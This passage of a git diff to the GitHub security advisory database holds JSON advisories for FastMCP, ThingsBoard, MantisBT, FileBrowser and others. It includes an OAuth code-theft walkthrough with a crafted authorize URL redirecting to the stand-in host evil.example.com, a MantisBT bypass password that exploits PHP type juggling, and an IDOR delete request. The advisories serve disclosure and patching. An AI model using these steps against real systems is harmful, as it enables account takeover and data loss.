],\n \"code_challenge_methods_supported\": [\n \"S256\"\n ]\n}\n```\n\nAll of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\nWhen using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:\n\n```http\nhttps://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!NOTE]\n>In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.\n\n\"image\"\n\nNotice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details.\n\nCompleting the authorization flow here for the first time for a user would trigger the Entra ID consent flow:\n\n\"image\"\n\nThis consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked.\n\nThis is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.\n\nWith the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.\n\nNow, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID:\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!IMPORTANT]\n>Note that the redirect URI above points to the `https://evil.example.com` client.\n\nAt this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`.\n\nThe user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.\n\n### Details\n\nSee above - the outline covers the attack vector.\n\n### PoC\n\nStandard documented sample that uses Entra ID:\n\n```python\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth.providers.azure import AzureProvider\n\n# The AzureProvider handles Azure's token format and validation\nauth_provider = AzureProvider(\n client_id=\"f527ed01-9725-45bd-8173-8d3a017ba02f\", # Your Azure App Client ID\n client_secret=\"#####~######_#######\", # Your Azure App Client Secret\n tenant_id=\"412e93fe-74e5-4ee6-9b67-1eeb1c79550e\", # Your Azure Tenant ID (REQUIRED)\n base_url=\"http://localhost:8000\", # Must match your App registration\n required_scopes=[\"User.Read\", \"email\", \"openid\", \"profile\"], # Microsoft Graph permissions\n # redirect_path=\"/auth/callback\" # Default value, customize if needed\n)\n\nmcp = FastMCP(name=\"Azure Secured App\", auth=auth_provider)\n\n# Add a protected tool to test authentication\n@mcp.tool\nasync def get_user_info() -> dict:\n \"\"\"Returns information about the authenticated Azure user.\"\"\"\n from fastmcp.server.dependencies import get_access_token\n \n token = get_access_token()\n # The AzureProvider stores user data in token claims\n return {\n \"azure_id\": token.claims.get(\"sub\"),\n \"email\": token.claims.get(\"email\"),\n \"name\": token.claims.get(\"name\"),\n \"job_title\": token.claims.get(\"job_title\"),\n \"office_location\": token.claims.get(\"office_location\")\n }\n```\n\n### Impact\n\nPotential for server account compromise.", "severity": [ { "type": "CVSS_V4", diff --git a/advisories/github-reviewed/2025/10/GHSA-fpq4-r87v-g246/GHSA-fpq4-r87v-g246.json b/advisories/github-reviewed/2025/10/GHSA-fpq4-r87v-g246/GHSA-fpq4-r87v-g246.json new file mode 100644 index 0000000000000..95b1275db8e65 --- /dev/null +++ b/advisories/github-reviewed/2025/10/GHSA-fpq4-r87v-g246/GHSA-fpq4-r87v-g246.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-fpq4-r87v-g246", + "modified": "2026-02-10T21:33:09Z", + "published": "2025-10-17T21:31:17Z", + "aliases": [ + "CVE-2025-34281" + ], + "summary": "ThingsBoard vulnerable to stored cross-site scripting (XSS) vulnerability in the dashboard's Image Upload Gallery feature", + "details": "ThingsBoard versions < 4.2.1 contain a stored cross-site scripting (XSS) vulnerability in the dashboard's Image Upload Gallery feature. An attacker can upload an SVG file containing malicious JavaScript, which may be executed when the file is rendered in the UI. This issue results from insufficient sanitization and improper content-type validation of uploaded SVG files.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.thingsboard:application" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.2.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34281" + }, + { + "type": "WEB", + "url": "https://github.com/thingsboard/thingsboard/pull/13927" + }, + { + "type": "WEB", + "url": "https://github.com/thingsboard/thingsboard/commit/b2ae6f92d12206ea185a2e882945a6b69234bf03" + }, + { + "type": "WEB", + "url": "https://advisory.checkmarx.net/advisory/CVE-2025-3261" + }, + { + "type": "WEB", + "url": "https://advisory.checkmarx.net/advisory/CVE-2025-34281" + }, + { + "type": "PACKAGE", + "url": "https://github.com/thingsboard/thingsboard" + }, + { + "type": "WEB", + "url": "https://github.com/thingsboard/thingsboard/releases/tag/v4.2.1" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/thingsboard-svg-image-stored-xss" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-02-10T21:33:09Z", + "nvd_published_at": "2025-10-17T19:15:37Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/10/GHSA-fr8m-434r-g3xp/GHSA-fr8m-434r-g3xp.json b/advisories/github-reviewed/2025/10/GHSA-fr8m-434r-g3xp/GHSA-fr8m-434r-g3xp.json index 6829e97f5ccf1..96743edfd5c14 100644 --- a/advisories/github-reviewed/2025/10/GHSA-fr8m-434r-g3xp/GHSA-fr8m-434r-g3xp.json +++ b/advisories/github-reviewed/2025/10/GHSA-fr8m-434r-g3xp/GHSA-fr8m-434r-g3xp.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-fr8m-434r-g3xp", - "modified": "2025-10-15T18:57:59Z", + "modified": "2026-01-22T20:44:35Z", "published": "2025-10-15T18:57:59Z", - "aliases": [], + "aliases": [ + "CVE-2023-44273" + ], "summary": "gnark-crypto doesn't range check input values during ECDSA and EdDSA signature deserialization", "details": "### Impact\n\nDuring deserialization of ECDSA and EdDSA signatures gnark-crypto did not check that the values are in the range `[1, n-1]` with `n` being the corresponding modulus (either base field modulus in case of `R` in EdDSA, and scalar field modulus in case of `s,r` in ECDSA and `s` in EdDSA). As this also allowed zero inputs, then it was possible to craft a signature which lead to null pointer dereference, leading to denial-of-service of an application. This also enabled weak signature malleability when the users assumed uniqueness of the serialized signatures (but not the underlying modulo reduced values).\n\nWe are not aware of any users impacted by the bug. The implemented signature schemes in gnark-crypto complement the in-circuit versions in gnark, allowing to have end-to-end tests.\n\n### Patches\n\nThe issue was patched in PR #449. The fix returns an error during deserialization if the values do not belong to the ranges `[1, n-1]`.\n\nThe fix is included in release v0.12.0 and upwards.\n\n### Workarounds\n\nUsers can manually validate the inputs to be in corresponding ranges when using serialized signatures (or digests of them) as unique keys.\n\nTo address the denial-of-service, the users can install hook to recover panics and recover \n\n### Resources\n\n* [Verichains advisory](https://github.com/advisories/GHSA-9xfq-8j3r-xp5g) for signature malleability.\n* Fix https://github.com/Consensys/gnark-crypto/pull/449\n* [Go blog post \"Defer, Panic, and Recover\"](https://go.dev/blog/defer-panic-and-recover)\n* [gnark v0.12.0](https://github.com/Consensys/gnark-crypto/releases/tag/v0.12.0)\n\n\n### Acknowledgement\n\nLack of range checks leading to signature malleability was reported by [Verichains](https://www.verichains.io/).", "severity": [ @@ -38,6 +40,10 @@ "type": "WEB", "url": "https://github.com/Consensys/gnark-crypto/security/advisories/GHSA-fr8m-434r-g3xp" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44273" + }, { "type": "WEB", "url": "https://github.com/Consensys/gnark-crypto/pull/449" @@ -50,10 +56,6 @@ "type": "WEB", "url": "https://github.com/Consensys/gnark-crypto/releases/tag/v0.12.0" }, - { - "type": "ADVISORY", - "url": "https://github.com/advisories/GHSA-9xfq-8j3r-xp5g" - }, { "type": "WEB", "url": "https://go.dev/blog/defer-panic-and-recover" diff --git a/advisories/github-reviewed/2025/10/GHSA-fwxx-wv44-7qfg/GHSA-fwxx-wv44-7qfg.json b/advisories/github-reviewed/2025/10/GHSA-fwxx-wv44-7qfg/GHSA-fwxx-wv44-7qfg.json index 6c5a2e6351c94..dc18ffe3bae62 100644 --- a/advisories/github-reviewed/2025/10/GHSA-fwxx-wv44-7qfg/GHSA-fwxx-wv44-7qfg.json +++ b/advisories/github-reviewed/2025/10/GHSA-fwxx-wv44-7qfg/GHSA-fwxx-wv44-7qfg.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-fwxx-wv44-7qfg", - "modified": "2025-10-16T21:29:31Z", + "modified": "2026-02-19T22:00:41Z", "published": "2025-10-16T15:30:43Z", "aliases": [ "CVE-2025-41253" @@ -18,17 +18,74 @@ { "package": { "ecosystem": "Maven", - "name": "org.springframework.cloud:spring-cloud-gateway-server-webflux" + "name": "org.springframework.cloud:spring-cloud-gateway-server" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { - "introduced": "3.1.0" + "introduced": "4.3.0" }, { - "last_affected": "4.3.0" + "fixed": "4.3.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.springframework.cloud:spring-cloud-gateway-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.2.0" + }, + { + "fixed": "4.2.6" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.springframework.cloud:spring-cloud-gateway-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0" + }, + { + "last_affected": "4.1.9" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.springframework.cloud:spring-cloud-gateway-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "3.1.10" } ] } diff --git a/advisories/github-reviewed/2025/10/GHSA-g8mr-fgfg-5qpc/GHSA-g8mr-fgfg-5qpc.json b/advisories/github-reviewed/2025/10/GHSA-g8mr-fgfg-5qpc/GHSA-g8mr-fgfg-5qpc.json index c09b1c0b9bbf4..5fca7ec9c0acd 100644 --- a/advisories/github-reviewed/2025/10/GHSA-g8mr-fgfg-5qpc/GHSA-g8mr-fgfg-5qpc.json +++ b/advisories/github-reviewed/2025/10/GHSA-g8mr-fgfg-5qpc/GHSA-g8mr-fgfg-5qpc.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-g8mr-fgfg-5qpc", - "modified": "2025-10-21T15:09:06Z", + "modified": "2026-01-21T16:15:45Z", "published": "2025-10-21T15:09:06Z", "aliases": [ "CVE-2025-62595" @@ -59,6 +59,10 @@ "type": "WEB", "url": "https://github.com/koajs/koa/security/advisories/GHSA-g8mr-fgfg-5qpc" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62595" + }, { "type": "WEB", "url": "https://github.com/koajs/koa/commit/769fd75cc6b30d72493b370b5a3ae2332ca03c5b" @@ -75,6 +79,6 @@ "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-10-21T15:09:06Z", - "nvd_published_at": null + "nvd_published_at": "2025-10-21T17:15:40Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/10/GHSA-j5gw-2vrg-8fgx/GHSA-j5gw-2vrg-8fgx.json b/advisories/github-reviewed/2025/10/GHSA-j5gw-2vrg-8fgx/GHSA-j5gw-2vrg-8fgx.json index ed4289703f5ef..6a70048bbdfe9 100644 --- a/advisories/github-reviewed/2025/10/GHSA-j5gw-2vrg-8fgx/GHSA-j5gw-2vrg-8fgx.json +++ b/advisories/github-reviewed/2025/10/GHSA-j5gw-2vrg-8fgx/GHSA-j5gw-2vrg-8fgx.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-j5gw-2vrg-8fgx", - "modified": "2025-10-27T15:13:02Z", + "modified": "2026-01-16T22:12:12Z", "published": "2025-10-21T15:42:51Z", "aliases": [ "CVE-2025-62518" @@ -36,6 +36,25 @@ "database_specific": { "last_known_affected_version_range": "<= 0.5.5" } + }, + { + "package": { + "ecosystem": "crates.io", + "name": "tokio-tar" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.3.1" + } + ] + } + ] } ], "references": [ @@ -66,6 +85,10 @@ { "type": "WEB", "url": "https://rustsec.org/advisories/RUSTSEC-2025-0110.html" + }, + { + "type": "WEB", + "url": "https://rustsec.org/advisories/RUSTSEC-2025-0111.html" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/10/GHSA-w2hg-2v4p-vmh6/GHSA-w2hg-2v4p-vmh6.json b/advisories/github-reviewed/2025/10/GHSA-w2hg-2v4p-vmh6/GHSA-w2hg-2v4p-vmh6.json index 43b6ca1f77e03..bc7d5d9b507db 100644 --- a/advisories/github-reviewed/2025/10/GHSA-w2hg-2v4p-vmh6/GHSA-w2hg-2v4p-vmh6.json +++ b/advisories/github-reviewed/2025/10/GHSA-w2hg-2v4p-vmh6/GHSA-w2hg-2v4p-vmh6.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-w2hg-2v4p-vmh6", - "modified": "2025-11-05T22:08:31Z", + "modified": "2026-01-16T22:03:02Z", "published": "2025-10-02T21:21:33Z", "aliases": [ "CVE-2025-54287" @@ -29,7 +29,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "4.0" + "introduced": "4.0.0" }, { "fixed": "5.21.4" @@ -48,10 +48,10 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "6.0" + "introduced": "6.0.0" }, { - "fixed": "6.5" + "fixed": "6.5.0" } ] } diff --git a/advisories/github-reviewed/2025/11/GHSA-24hm-wm2h-h8w7/GHSA-24hm-wm2h-h8w7.json b/advisories/github-reviewed/2025/11/GHSA-24hm-wm2h-h8w7/GHSA-24hm-wm2h-h8w7.json index 9a00984d996d3..bc5948a74f29b 100644 --- a/advisories/github-reviewed/2025/11/GHSA-24hm-wm2h-h8w7/GHSA-24hm-wm2h-h8w7.json +++ b/advisories/github-reviewed/2025/11/GHSA-24hm-wm2h-h8w7/GHSA-24hm-wm2h-h8w7.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-24hm-wm2h-h8w7", - "modified": "2025-12-01T23:57:53Z", + "modified": "2026-01-29T03:30:58Z", "published": "2025-11-28T06:32:06Z", "aliases": [ "CVE-2025-66371" @@ -55,6 +55,10 @@ { "type": "WEB", "url": "https://github.com/iterasdev/peppol-py/releases/tag/1.1.1" + }, + { + "type": "WEB", + "url": "https://invoice.secvuln.info" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/11/GHSA-399j-vxmf-hjvr/GHSA-399j-vxmf-hjvr.json b/advisories/github-reviewed/2025/11/GHSA-399j-vxmf-hjvr/GHSA-399j-vxmf-hjvr.json index f5dd3265520f0..e9b2f419a9d40 100644 --- a/advisories/github-reviewed/2025/11/GHSA-399j-vxmf-hjvr/GHSA-399j-vxmf-hjvr.json +++ b/advisories/github-reviewed/2025/11/GHSA-399j-vxmf-hjvr/GHSA-399j-vxmf-hjvr.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-399j-vxmf-hjvr", - "modified": "2025-11-13T16:25:24Z", + "modified": "2026-02-05T21:38:31Z", "published": "2025-11-03T18:31:52Z", "aliases": [ "CVE-2025-11953" @@ -175,6 +175,14 @@ "type": "WEB", "url": "https://jfrog.com/blog/cve-2025-11953-critical-react-native-community-cli-vulnerability" }, + { + "type": "WEB", + "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-11953" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/blog/metro4shell_eitw" + }, { "type": "WEB", "url": "https://x.com/SzymonRybczak/status/1986199665000566848" diff --git a/advisories/github-reviewed/2025/11/GHSA-4249-gjr8-jpq3/GHSA-4249-gjr8-jpq3.json b/advisories/github-reviewed/2025/11/GHSA-4249-gjr8-jpq3/GHSA-4249-gjr8-jpq3.json index 496e7700d4feb..e2455a202da7e 100644 --- a/advisories/github-reviewed/2025/11/GHSA-4249-gjr8-jpq3/GHSA-4249-gjr8-jpq3.json +++ b/advisories/github-reviewed/2025/11/GHSA-4249-gjr8-jpq3/GHSA-4249-gjr8-jpq3.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-4249-gjr8-jpq3", - "modified": "2025-11-13T22:59:15Z", + "modified": "2026-01-23T23:00:51Z", "published": "2025-11-13T22:59:15Z", + "withdrawn": "2026-01-23T23:00:51Z", "aliases": [], - "summary": "ProsemirrorToHtml has a Cross-Site Scripting (XSS) vulnerability through unescaped HTML attribute values", - "details": "### Impact\n\nThe prosemirror_to_html gem is vulnerable to Cross-Site Scripting (XSS) attacks through malicious HTML attribute values. While tag content is properly escaped, attribute values are not, allowing attackers to inject arbitrary JavaScript code.\n\n**Who is impacted:**\n\n- Any application using prosemirror_to_html to convert ProseMirror documents to HTML\n- Applications that process user-generated ProseMirror content are at highest risk\n- End users viewing the rendered HTML output could have malicious JavaScript executed in their browsers\n\n**Attack vectors include:**\n\n- `href` attributes with `javascript:` protocol:\n ``\n- Event handlers: `
    `\n- `onerror` attributes on images: ``\n- Other HTML attributes that can execute JavaScript\n\n### Patches\n\nA fix is currently in development. Users should upgrade to version **0.2.1** or later once released. The patch escapes all HTML attribute values using `CGI.escapeHTML` to prevent injection attacks.\n\n### Workarounds\n\nUntil a patched version is available, users can implement one or more of these mitigations:\n\n1. **Sanitize output**: Pass the HTML output through a sanitization\n library like [Sanitize](https://github.com/rgrove/sanitize) or\n [Loofah](https://github.com/flavorjones/loofah):\n\n```ruby\n html = ProsemirrorToHtml.render(document)\n safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED)\n```\n\n2. **Implement Content Security Policy (CSP)**: Add strict CSP\n headers to prevent inline JavaScript execution:\n```\n Content-Security-Policy: default-src 'self'; script-src 'self'\n```\n\n3. **Input validation**: If possible, validate and sanitize\n ProseMirror documents before conversion to prevent malicious\n content from entering the system.\n\n### References\n\n- Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249\n- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)", + "summary": "Duplicate Advisory: ProsemirrorToHtml has a Cross-Site Scripting (XSS) vulnerability through unescaped HTML attribute values", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-52c5-vh7f-26fx. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nThe prosemirror_to_html gem is vulnerable to Cross-Site Scripting (XSS) attacks through malicious HTML attribute values. While tag content is properly escaped, attribute values are not, allowing attackers to inject arbitrary JavaScript code.\n\n**Who is impacted:**\n\n- Any application using prosemirror_to_html to convert ProseMirror documents to HTML\n- Applications that process user-generated ProseMirror content are at highest risk\n- End users viewing the rendered HTML output could have malicious JavaScript executed in their browsers\n\n**Attack vectors include:**\n\n- `href` attributes with `javascript:` protocol:\n ``\n- Event handlers: `
    `\n- `onerror` attributes on images: ``\n- Other HTML attributes that can execute JavaScript\n\n### Patches\n\nA fix is currently in development. Users should upgrade to version **0.2.1** or later once released. The patch escapes all HTML attribute values using `CGI.escapeHTML` to prevent injection attacks.\n\n### Workarounds\n\nUntil a patched version is available, users can implement one or more of these mitigations:\n\n1. **Sanitize output**: Pass the HTML output through a sanitization\n library like [Sanitize](https://github.com/rgrove/sanitize) or\n [Loofah](https://github.com/flavorjones/loofah):\n\n```ruby\n html = ProsemirrorToHtml.render(document)\n safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED)\n```\n\n2. **Implement Content Security Policy (CSP)**: Add strict CSP\n headers to prevent inline JavaScript execution:\n```\n Content-Security-Policy: default-src 'self'; script-src 'self'\n```\n\n3. **Input validation**: If possible, validate and sanitize\n ProseMirror documents before conversion to prevent malicious\n content from entering the system.\n\n### References\n\n- Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249\n- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)", "severity": [ { "type": "CVSS_V4", diff --git a/advisories/github-reviewed/2025/11/GHSA-4v8w-gg5j-ph37/GHSA-4v8w-gg5j-ph37.json b/advisories/github-reviewed/2025/11/GHSA-4v8w-gg5j-ph37/GHSA-4v8w-gg5j-ph37.json index 72ce5a671b106..191b6d84b7108 100644 --- a/advisories/github-reviewed/2025/11/GHSA-4v8w-gg5j-ph37/GHSA-4v8w-gg5j-ph37.json +++ b/advisories/github-reviewed/2025/11/GHSA-4v8w-gg5j-ph37/GHSA-4v8w-gg5j-ph37.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-4v8w-gg5j-ph37", - "modified": "2025-11-15T02:13:22Z", + "modified": "2026-03-06T00:14:39Z", "published": "2025-11-03T17:07:36Z", "aliases": [ "CVE-2025-47776" ], "summary": "MantisBT vulnerable to authentication bypass for some passwords due to PHP type juggling", - "details": "Due to an incorrect use of loose (`==`) instead of strict (`===`) comparison in the [authentication code][1], PHP type juggling will cause interpretation of certain MD5 hashes as numbers, specifically those matching scientific notation.\n\n[1]: https://github.com/mantisbt/mantisbt/blob/0fb502dd613991e892ed2224ac5ea3e40ba632bc/core/authentication_api.php#L782\n\n### Impact\nOn MantisBT instances configured to use the *MD5* login method, user accounts having a password hash evaluating to zero (i.e. matching regex `^0+[Ee][0-9]+$`) are vulnerable, allowing an attacker knowing the victim's username to login without knowledge of their actual password, using any other password having a hash evaluating to zero, for example `comito5` (0e579603064547166083907005281618). \n\nNo password bruteforcing for individual users is needed, thus $g_max_failed_login_count does not protect against the attack.\n\n### Patches\nFixed in 2.27.2.\n\n### Workarounds\nCheck the database for vulnerable accounts, and change those users' passwords, e.g. for MySQL:\n```sql\nSELECT username, email FROM mantis_user_table WHERE password REGEXP '^0+[Ee][0-9]+$'\n```\n\n### Credits\nThanks to Harry Sintonen / Reversec for discovering and reporting the issue.", + "details": "Due to an incorrect use of loose (`==`) instead of strict (`===`) comparison in the [authentication code][1], PHP type juggling will cause interpretation of certain MD5 hashes as numbers, specifically those matching scientific notation.\n\n[1]: https://github.com/mantisbt/mantisbt/blob/0fb502dd613991e892ed2224ac5ea3e40ba632bc/core/authentication_api.php#L782\n\n### Impact\nOn MantisBT instances configured to use the *MD5* login method, user accounts having a password hash evaluating to zero (i.e. matching regex `^0+[Ee][0-9]+$`) are vulnerable, allowing an attacker knowing the victim's username to login without knowledge of their actual password, using any other password having a hash evaluating to zero, for example `comito5` (0e579603064547166083907005281618). \n\nNo password bruteforcing for individual users is needed, thus $g_max_failed_login_count does not protect against the attack.\n\n### Patches\n* https://github.com/mantisbt/mantisbt/commit/966554a19cf1bdbcfbfb3004766979faa748f9a2\n\n### Workarounds\nCheck the database for vulnerable accounts, and change those users' passwords, e.g. for MySQL:\n```sql\nSELECT username, email FROM mantis_user_table WHERE password REGEXP '^0+[Ee][0-9]+$'\n```\n\n### References\n- https://mantisbt.org/bugs/view.php?id=35967\n\n### Credits\nThanks to Harry Sintonen / Reversec for discovering and reporting the issue.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/11/GHSA-52c5-vh7f-26fx/GHSA-52c5-vh7f-26fx.json b/advisories/github-reviewed/2025/11/GHSA-52c5-vh7f-26fx/GHSA-52c5-vh7f-26fx.json index 0b271ca5a315e..91ec2ec940693 100644 --- a/advisories/github-reviewed/2025/11/GHSA-52c5-vh7f-26fx/GHSA-52c5-vh7f-26fx.json +++ b/advisories/github-reviewed/2025/11/GHSA-52c5-vh7f-26fx/GHSA-52c5-vh7f-26fx.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-52c5-vh7f-26fx", - "modified": "2025-11-19T14:26:11Z", + "modified": "2026-01-23T21:37:34Z", "published": "2025-11-06T15:44:35Z", "aliases": [ "CVE-2025-64501" @@ -52,9 +52,17 @@ "type": "PACKAGE", "url": "https://github.com/etaminstudio/prosemirror_to_html" }, + { + "type": "WEB", + "url": "https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249" + }, { "type": "WEB", "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/prosemirror_to_html/CVE-2025-64501.yml" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/prosemirror_to_html/GHSA-vfpf-xmwh-8m65.yml" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/11/GHSA-6cqf-cfhv-659g/GHSA-6cqf-cfhv-659g.json b/advisories/github-reviewed/2025/11/GHSA-6cqf-cfhv-659g/GHSA-6cqf-cfhv-659g.json index 3097502c470f3..2567b361a3a88 100644 --- a/advisories/github-reviewed/2025/11/GHSA-6cqf-cfhv-659g/GHSA-6cqf-cfhv-659g.json +++ b/advisories/github-reviewed/2025/11/GHSA-6cqf-cfhv-659g/GHSA-6cqf-cfhv-659g.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6cqf-cfhv-659g", - "modified": "2025-11-13T22:34:51Z", + "modified": "2026-02-03T17:23:10Z", "published": "2025-11-13T22:34:51Z", "aliases": [ "CVE-2025-64523" @@ -9,31 +9,16 @@ "summary": "File Browser is Vulnerable to Insecure Direct Object Reference (IDOR) in Share Deletion Function", "details": "### Summary\nIt has been found an Insecure Direct Object Reference (IDOR) vulnerability in the FileBrowser application's share deletion functionality. This vulnerability allows any authenticated user with share permissions to delete other users' shared links without authorization checks.\n\nThe impact is significant as malicious actors can disrupt business operations by systematically removing shared files and links. This leads to denial of service for legitimate users, potential data loss in collaborative environments, and breach of data confidentiality agreements. In organizational settings, this could affect critical file sharing for projects, presentations, or document collaboration.\n\n### Details\n**Technical Analysis**\n\nThe vulnerability exists in` /http/share.go` at lines 72-82. The shareDeleteHandler function processes deletion requests using only the share hash without comparing the link.UserID with the current authenticated user's ID (d.user.ID). This missing authorization check enables the vulnerability.\n\n```\nvar shareDeleteHandler = withPermShare(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n hash := strings.TrimSuffix(r.URL.Path, \"/\")\n hash = strings.TrimPrefix(hash, \"/\")\n\n if hash == \"\" {\n return http.StatusBadRequest, nil\n }\n\n err := d.store.Share.Delete(hash) // Missing ownership validation\n return errToStatus(err), err\n})\n```\n\n### PoC\n**Reproduce Steps:**\n\nPrerequisites: Two authenticated user accounts (User A and User B) with share permissions\n\nStep 1: User A creates a share link and obtains the share hash (e.g., MEEuZK-v)\n\nStep 2: User B authenticates and obtains a valid JWT token\n\nStep 3: User B sends DELETE request to /api/share/MEEuZK-v with their own JWT token\n\nStep 4: Observe that User A's share is deleted without authorization\n\nDELETE /api/share/MEEuZK-v HTTP/1.1\nHost: filebrowser.local\nContent-Type: application/json\n\n### Impact\n\nThe impact is significant as 